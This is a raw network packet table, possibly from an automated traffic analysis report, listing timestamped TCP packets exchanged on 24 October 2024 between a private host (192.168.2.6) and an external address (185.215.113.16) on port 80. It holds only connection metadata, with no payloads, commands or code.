Oct 24, 2024 09:08:14.223787069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.223800898 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.223822117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.223854065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.223860979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.223890066 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.223898888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.223920107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.223959923 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.262670040 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.262806892 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.262937069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.262969017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.263003111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.263004065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.263040066 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.263042927 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.263062000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.263078928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.263107061 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.263142109 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.306389093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.306489944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.306512117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.306576014 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.306583881 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.306585073 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.306612968 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.306632042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.306649923 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.306672096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.306687117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.306699991 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.306723118 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.306736946 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.306761980 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.306768894 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.306797028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.306813002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.306835890 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.306848049 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.306875944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.306885958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.306911945 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.306942940 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.306951046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.306965113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.306988001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.307017088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.307035923 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.339303017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.339390993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.339432955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.339492083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.339546919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.339577913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.339576960 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.339612961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.339626074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.339649916 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.339653015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.339684963 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.339742899 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.339761019 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.339796066 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.339802980 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.339852095 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.339855909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.339895010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.339901924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.339929104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.339946985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.339982986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.339988947 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340019941 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340030909 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340075970 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340076923 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340107918 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340131998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340163946 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340166092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340204954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340219975 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340240002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340260983 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340293884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340295076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340329885 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340343952 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340368032 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340379953 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340404987 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340415955 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340442896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340456009 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340478897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340492010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340517044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340536118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340552092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340567112 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340590954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340604067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340622902 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340642929 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340672970 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340739965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340771914 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340806007 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340825081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340827942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340862036 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340883017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340898991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340914011 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340943098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340960026 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.340981007 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.340989113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.341017008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.341031075 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.341058016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.341069937 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.341131926 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.341248989 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.341284037 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.341311932 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.341319084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.341347933 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.341353893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.341357946 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.341391087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.341408014 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.341438055 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.380450010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.380578041 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.380578041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.380619049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.380655050 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.380685091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.380685091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.380695105 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.380716085 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.380733967 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.380740881 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.380770922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.380781889 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.380808115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.380831003 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.380851984 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.423818111 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.423898935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.423938990 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.423958063 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.423986912 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.424007893 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.424014091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.424051046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.424057007 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.424086094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.424092054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.424124002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.424128056 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.424156904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.424174070 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.424191952 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.424196005 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.424228907 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.424237013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.424288034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.424288034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.424341917 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.424345016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.424381971 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.424392939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.424420118 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.424429893 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.424455881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.424463987 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.424494028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.424508095 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.424532890 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.424539089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.424581051 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.456844091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.456970930 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.456991911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457029104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457067013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457075119 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457075119 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457103968 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457110882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457139969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457153082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457176924 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457195997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457212925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457226038 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457252026 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457278967 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457299948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457312107 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457349062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457362890 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457381010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457397938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457441092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457453012 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457494974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457496881 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457530975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457539082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457571030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457581997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457606077 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457621098 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457644939 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457660913 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457679033 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457700968 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457712889 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457720995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457747936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457762957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457796097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457806110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457849979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457851887 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457905054 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457907915 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457938910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457959890 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.457974911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.457989931 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458009958 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458029032 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458051920 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458067894 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458089113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458106995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458126068 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458134890 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458163023 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458179951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458199024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458219051 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458256006 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458292007 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458347082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458347082 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458384991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458405018 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458424091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458442926 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458482027 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458487034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458518028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458553076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458554029 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458584070 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458589077 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458606005 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458626986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458635092 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458662987 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458683014 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458719969 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458861113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458895922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458920002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458930969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.458940983 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.458983898 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.497903109 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.497978926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.498017073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.498029947 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.498053074 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.498055935 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.498075962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.498092890 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.498099089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.498127937 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.498143911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.498164892 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.498173952 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.498202085 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.498241901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.498238087 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.498262882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.498298883 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.541327000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.541374922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.541455030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.541492939 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.541495085 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.541496038 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.541527033 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.541528940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.541562080 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.541565895 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.541582108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.541604042 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.541615963 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.541656017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.541671991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.541721106 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.541727066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.541764975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.541775942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.541811943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.541821003 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.541851044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.541882038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.541917086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.541917086 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.541943073 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.541943073 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.541955948 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.541971922 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.541990995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.542011023 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.542028904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.542046070 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.542076111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.574521065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.574589968 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.574594021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.574635029 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:14.574645042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:14.574690104 CEST	80	49997	185.215.113.16	192.168.2.6
